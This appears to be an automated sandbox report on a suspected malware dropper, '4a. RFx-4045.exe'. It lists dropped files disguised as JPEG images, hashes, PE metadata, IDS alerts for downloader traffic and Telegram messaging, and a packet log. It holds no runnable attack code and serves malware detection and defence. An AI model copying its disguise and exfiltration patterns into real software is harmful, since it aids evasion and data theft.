Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......7...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..*QIN......@.- .....Z.QE.P.KE..QE-..QE......QE..QE..QE..QE-.%-.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.IKE..QE.%..P.QE..QE..QE..QE...R.P.E.P.QKI@.%-.....P.j+.}.L.......!l.$.6.I..C....Z..%.Uj.....G..>.`.@%!..4.i..Rb..8RR.`--...QK@........(....(...QE..QK@..Q@..Q@..Q@..Q@.E.P.IKE..QE..QE..QE..QE..S\.....@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@.%-...QE..QE..QE..QE.%....RR.@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\pinge.txt

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 397x570, components 3
Category:	dropped
Size (bytes):	18696
Entropy (8bit):	7.874991769362884
Encrypted:	false
SSDEEP:	384:QTTS15c6avxFdLPCa274s6lNGI8BvL0PyEVRe+BRHwlqwyEsUhFD:QCRIxTLPCa27alNi5Lce8FRWPD
MD5:	A5D89A2F1B5D2773D2BB01F73B51AA00
SHA1:	541651CC495A51D55523750452B01B3AFBB18F93
SHA-256:	DA0CD28E977CCB55EDF2DABDDE3A6FDCE250472F2223E9E6CF4C9533DFE68860
SHA-512:	55E6F361B5C6074972897E4CCD3F9973F3C926CDBDA8ADEFF5A72A5F2201EC63A6EB65870EFEB1A0FD4D44ED5E65C88767AC24B2B213E56021608DDEDE51C660
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......:...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..Z(...(....)h.)h...QIJ)....KL.4....(...)i.-..QE....P.E.P.IKHh.....J1KI@.IJi(...(..Ji.-.%..i(.........%..QE.%.Q@.%-........E.P.E.P..E.....%...3E......@)..(...)......R...%.-..P..IE.-%.P.E.P.E.P.RR.@.E.P..Q......b..i(.(...JJZJ.(...J(4P.E-...J.W.?......E.P.E...QE-..QE..QE .Q@....(..E.R.h..`.R...CKK@..--.....b.......J.LRb.I@..1KE.7.b...LQ.Z(.1F)h...Jh...&)h...%-%....P.E...R

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\recreant.ini

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 652x567, components 3
Category:	dropped
Size (bytes):	69767
Entropy (8bit):	7.973082268971384
Encrypted:	false
SSDEEP:	1536:tOBLZbRkWSQZkvGOeY5S0o3Cbnsi/XZcb+DObCnXNpP8NG9F:MBNbRfqui84s0XZccObsJF
MD5:	1CEA33FFAE1DF809562A56A08CFFB5A3
SHA1:	7F0720A1BB5F810351BCD0D644361A6CC7FF0369
SHA-256:	AC286E5EB9530427F7C46976C790679E5205AA566F450FCAAAA1E623FED4725A
SHA-512:	568925959BEDAEC65ADA7EF2DFBEB5130ED2E3AFC7B9A66874BD9E2D5A2C0C11D0A1CE93273C3B490AE649526D65CC87C09D839DBD08E2A0D43DA70979610108
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222......7...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..*QIN......@.- .....Z.QE.P.KE..QE-..QE......QE..QE..QE..QE-.%-.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.E.P.IKE..QE.%..P.QE..QE..QE..QE...R.P.E.P.QKI@.%-.....P.j+.}.L.......!l.$.6.I..C....Z..%.Uj.....G..>.`.@%!..4.i..Rb..8RR.`--...QK@........(....(...QE..QK@..Q@..Q@..Q@..Q@.E.P.IKE..QE..QE..QE..QE..S\.....@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@..Q@.%-...QE..QE..QE..QE.%....RR.@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Counterdiscipline\strikkestrmper.ini

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	53594
Entropy (8bit):	7.970707960464042
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz0Y:RmDkKivjFtjy7FAWMub0Y
MD5:	3D6F37758C7501B82AF9455AFE5979FC
SHA1:	B87C7F868A86F76B331682C0022947C548344557
SHA-256:	1EA847A4AA5D2C31B5FD254F3A215C491703C22B7A35A2A8383DFCE6CE0AE529
SHA-512:	2CF63C0D80E75F2F923B9DA9D8C321FBE47565450857C5F4FFD4E62596ACEDD94EEA346FDF53E13E698CD8993AB157AA2F8F77F9D9A01A37490BC244E3299B50
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Dusinmennesket\Boblegummiets14.ide

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	data
Category:	dropped
Size (bytes):	5565917
Entropy (8bit):	0.15834554184776928
Encrypted:	false
SSDEEP:	3072:Z1T8WGSzPtEBvBPzrrcBWjD30i8yN6bQSy6tvqdGwcwpRFmzQTN2qr9bCtL/vJi1:ra
MD5:	A7AF217CEC45E9AB001D765B43F96FEB
SHA1:	6E7BFAF85435CC352215A17426B06AEB0238F6E0
SHA-256:	77785858324DD4C332C4DE5B172D0DF229F7BBE62F7673B99FF28555B9F8675F
SHA-512:	008CC596E18BB6EE1E9D7B56E35B67A8ABEE71DD38C62233F94D7962502BC60E5CA782089F54ACA3BB42A46AE3EAEFBEEAD0F4ACBFEEEC717852A8044786F5C8
Malicious:	false
Preview:	5555555555555555555555555555555555555555555555555555555555555555555555B555555555555555555d5555555555555555555555555555555555555555555555555555555555g5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555.55555555555555555555555555\55555555555555555555555(555555555555555555555555555555%5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555{555555555555555555555555555555555555555555555555555555555555555555.55555

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Dusinmennesket\Brookiest237.txt

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	53092
Entropy (8bit):	7.972427101500634
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz0a:RmDkKivjFtjy7FAWMub0a
MD5:	8D4EB147914AB316534A9C284ACEB988
SHA1:	CF773AC44933E043ADC6661A02FAAEE759D43E4C
SHA-256:	FEE317ECC1350250E7A629AB48F22CFDBC2348230D0BF79128842ACD81A8B091
SHA-512:	4249F0CD9BA8F65C19CEA68DA276E1CADDAF8D6D98D50D01C7E1F5A7B58442761FD2A7D3CC5172C2FA83439D0A8EDC193FA9848DBE105EA858660AC74E8DCAAA
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Dusinmennesket\Konomigruppernes.ini

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 606x440, components 3
Category:	dropped
Size (bytes):	55046
Entropy (8bit):	7.958778732871921
Encrypted:	false
SSDEEP:	1536:RzrrmDbQ72zevB1xnt95y7tN28xr+dr6Mufz0WM:RmDkKivjFtjy7FAWMub0WM
MD5:	7C2F6CA3A455CC5B2A9359210048A6C0
SHA1:	22CC746B361E309C4DB883DBDF8E32104EEFE25E
SHA-256:	B1AC5F3A96A58BE44E53A313990237E9D3EAC81D3979FC1FA644027B704B51DD
SHA-512:	0C009CFF075D2896978D547810ACFEFD2E88D190C3253579ADABEABD126DB38C5A25217DB62A7BF618B66E9CACEAAD5C8644B1CBA76B744F71021F37B38868E4
Malicious:	false
Preview:	......JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222........^.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..y$..$.P.e\g".K.pk.$.7&.y=y4..sK..L.z.Qw.O4b..1..--&).i.^t..F..(h...n...S4g&./jE.....:Uv\P;....RR...).R.AN.j i..2`x..........wR.4.b....4.R.v........p4.\...../SLE.U c..o<R...J>T....!.d..p:.I....)..84..SJ.b...J....\|...h..k..H.O..L...t..y.........6c.>ar.b.T.}.F.G.........HV.....A......cR.-h4....j&jV,..t.M.W.4..h. .(&..C.C...4.-!4..&...nh..-...&..i3HM%..4f..q@

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Undularly163\Dusinmennesket\rebutter.Sti

Download File

Process:	C:\Users\user\Desktop\4a. RFx-4045.exe
File Type:	data
Category:	dropped
Size (bytes):	121733
Entropy (8bit):	4.610262474532146
Encrypted:	false
SSDEEP:	1536:RyAo+4sNx2Y2Umjmt0u0ykqA/Z/36SKYyrESMF:i+v3mjKkqA/J3fqeF
MD5:	35538DC9F89A2A050E45F6A247F340CD
SHA1:	4E03B2E6D176914F5C2A7AB11C7F30C498C4B022
SHA-256:	B361B3F77E7E8F0D56CA17B72375E4516665F5CC174D1B98BB336FDA0C2225CD
SHA-512:	2DDE7095232270C81584DCFDBAC468EE592815F2EB39586B263AE2D27BDDFC5B0AD39D43D4390740F45569D30F84CEB028BE66FF34F8BB5DB61EE16B90BF6AAB
Malicious:	false
Preview:	.........ff..............Q.....____....$.......xxxxxx...............999.....`........+..................bb..............................ll.`...................../.....................................g.~.........!...............n..\...;;.S.K.........\\\\.@@.............00000..............h............m.......................s.TT._____..................RR.ZZ......>>.4.....g............##............................UUU....h.::....................((.......................BB.~............jjjj....\.........................................LLL..66.r...........`....................]...........!!!!........f.............TT......HH.....77.]]]......EEE...'..............................pp..........m.\|....\\\...............................e..TT..........zzz.........~~~~....................DD...\|..}..7...IIII.......o.ff.............F....YY.............~~..........$$$$....................................GGGG..4444.............$$$$$.....$..................QQ........88.......................{........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.867629389110918
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4a. RFx-4045.exe
File size:	1'468'848 bytes
MD5:	95ccf2bcd18e87a3386e71a5d09e75fe
SHA1:	79bbd13b8222d5a548a8b3539dcec954daf5d14f
SHA256:	7b676bf78d187d4d11cd10db0b8a31b908ee4d2a63556442da865d1c5aae2f22
SHA512:	88c5f95595d09a20752ff7f5aed8ab40be8dad92247ba5dd67e10c1b807a2e51c5d33bb408fa8ff6538f7a6fed4557dfee8e26a9d98411b5085dc902505b2ffe
SSDEEP:	24576:rtCtMYqSjjyxp8TehWCT2ldnvBw9mnAsrGMht2jLJ9Ks1y0dpvPccfZrpqXAYkJ2:rtCtJBKm7CKTvCZyGMht83Ks00LffeA8
TLSH:	F66523812B459D57C13587B3C723F3390624AEE87E405E0762C43BAF67393D6AA79316
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F...v...F...@...F.Rich..F.........................PE..L... ..\.................b.........

File Icon


Icon Hash:	0f254c9a9a462907

Static PE Info

General

Entrypoint:	0x403328
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F20 [Sat Dec 15 22:24:32 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	57e98d9a5a72c8d7ad8fb7a6a58b3daf

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Utilities, E=Sendemandsmdet@Banegaardens.Hav, O=Utilities, L=Tracyton, OU="Kippage extraduction Eroder ", S=Washington, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	17/09/2024 07:44:46 17/09/2025 07:44:46
Subject Chain	CN=Utilities, E=Sendemandsmdet@Banegaardens.Hav, O=Utilities, L=Tracyton, OU="Kippage extraduction Eroder ", S=Washington, C=US
Version:	3
Thumbprint MD5:	95F60592D35D30E98A434B16C7C15F3D
Thumbprint SHA-1:	ED04DD0BB43FB56CD0451D3902F1D6E030F750D8
Thumbprint SHA-256:	7E2AF87E5D7F278E694AEF205EA790E37D350D24DE2D78C475D0C0871B855402
Serial:	0EE63584A0A7BA5DE6F7B90352268C2F091DA4B3

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 0040A130h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042472Ch], eax
je 00007FDB3C826593h
push ebx
call 00007FDB3C829682h
cmp eax, ebx
je 00007FDB3C826589h
push 00000C00h
call eax
mov esi, 00408298h
push esi
call 00007FDB3C8295FEh
push esi
call dword ptr [004080A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007FDB3C82656Dh
push 0000000Ah
call 00007FDB3C829656h
push 00000008h
call 00007FDB3C82964Fh
push 00000006h
mov dword ptr [00424724h], eax
call 00007FDB3C829643h
cmp eax, ebx
je 00007FDB3C826591h
push 0000001Eh
call eax
test eax, eax
je 00007FDB3C826589h
or byte ptr [0042472Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [00408288h]
mov dword ptr [004247F8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041FCF0h
call dword ptr [00408178h]
push 0040A1ECh

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8430	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x48000	0x4aa48	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x165b28	0xe88
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6077	0x6200	0311bcb2ead177b380555800a8e6e6ee	False	0.6595583545918368	data	6.403859519216241	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1250	0x1400	926b1e688f085d737343e22bcf628243	False	0.4298828125	data	5.044807654453153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x1a838	0x400	9b72314b8d9ad5c72778b00cdf336ee2	False	0.646484375	data	5.2244513108529995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x25000	0x23000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x48000	0x4aa48	0x4ac00	4ee0ecdd5121578754dbb217a078afce	False	0.768365253971572	data	6.881646089200794	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x483b8	0x1c57c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.000267029597216
RT_ICON	0x64938	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.6015615757719153
RT_ICON	0x75160	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.6402144208534791
RT_ICON	0x7e608	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 26560	English	United States	0.641203007518797
RT_ICON	0x84df0	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.6469500924214417
RT_ICON	0x8a278	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.636927255550307
RT_ICON	0x8e4a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.6787344398340249
RT_ICON	0x90a48	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.7061444652908068
RT_ICON	0x91af0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.8129432624113475
RT_DIALOG	0x91f58	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x920a0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x921a0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x922c0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x92388	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x923e8	0x84	Targa image data - Map 32 x 50556 x 1 +1	English	United States	0.75
RT_VERSION	0x92470	0x298	OpenPGP Public Key	English	United States	0.516566265060241
RT_MANIFEST	0x92708	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, CreateFileA, GetFileSize, GetModuleFileNameA, ReadFile, GetCurrentProcess, CopyFileA, Sleep, GetTickCount, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, SetCurrentDirectoryA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, GetTempFileNameA, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, GetExitCodeProcess, WaitForSingleObject, CompareFileTime, SetFileAttributesA, GetFileAttributesA, GetShortPathNameA, MoveFileA, GetFullPathNameA, SetFileTime, SearchPathA, CloseHandle, lstrcmpiA, GlobalUnlock, GetDiskFreeSpaceA, lstrcmpA, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GlobalAlloc, GlobalFree, ExpandEnvironmentStringsA
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExA, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, SHFileOperationA
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExA, RegOpenKeyExA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, RegEnumValueA, RegDeleteKeyA, RegDeleteValueA, RegCloseKey, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Version Infos

Description	Data
Comments	rodebutikkerne
CompanyName	thorwalds fortolkningsopgaverne partantesniveauer
FileDescription	mocambiquisk pinjers
InternalName	engulf.exe
ProductName	tempestuousness
ProductVersion	1.2.0.0
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-14T08:30:15.376975+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.4	56784	172.217.23.110	443	TCP
2025-02-14T08:30:20.867700+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	56821	132.226.247.73	80	TCP
2025-02-14T08:30:22.055192+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	56821	132.226.247.73	80	TCP
2025-02-14T08:30:22.643060+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56836	104.21.112.1	443	TCP
2025-02-14T08:30:26.477168+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	56842	132.226.247.73	80	TCP
2025-02-14T08:30:30.509480+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56852	104.21.112.1	443	TCP
2025-02-14T08:30:34.103456+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	56856	104.21.112.1	443	TCP
2025-02-14T08:30:36.332886+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.4	56859	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2025 08:29:11.751341105 CET	56574	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:29:11.756107092 CET	53	56574	1.1.1.1	192.168.2.4
Feb 14, 2025 08:29:11.756217957 CET	56574	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:29:11.762324095 CET	53	56574	1.1.1.1	192.168.2.4
Feb 14, 2025 08:29:12.208879948 CET	56574	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:29:12.214076996 CET	53	56574	1.1.1.1	192.168.2.4
Feb 14, 2025 08:29:12.214160919 CET	56574	53	192.168.2.4	1.1.1.1
Feb 14, 2025 08:30:14.336000919 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:14.336029053 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:14.336127043 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:14.351125956 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:14.351151943 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.003365993 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.003448963 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.004148960 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.004211903 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.061783075 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.061810970 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.062129974 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.062192917 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.067109108 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.111335039 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.377019882 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.377314091 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.377330065 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.377444029 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.377444983 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.377522945 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.377906084 CET	443	56784	172.217.23.110	192.168.2.4
Feb 14, 2025 08:30:15.377955914 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.378057003 CET	56784	443	192.168.2.4	172.217.23.110
Feb 14, 2025 08:30:15.437308073 CET	56794	443	192.168.2.4	142.250.181.225
Feb 14, 2025 08:30:15.437335014 CET	443	56794	142.250.181.225	192.168.2.4
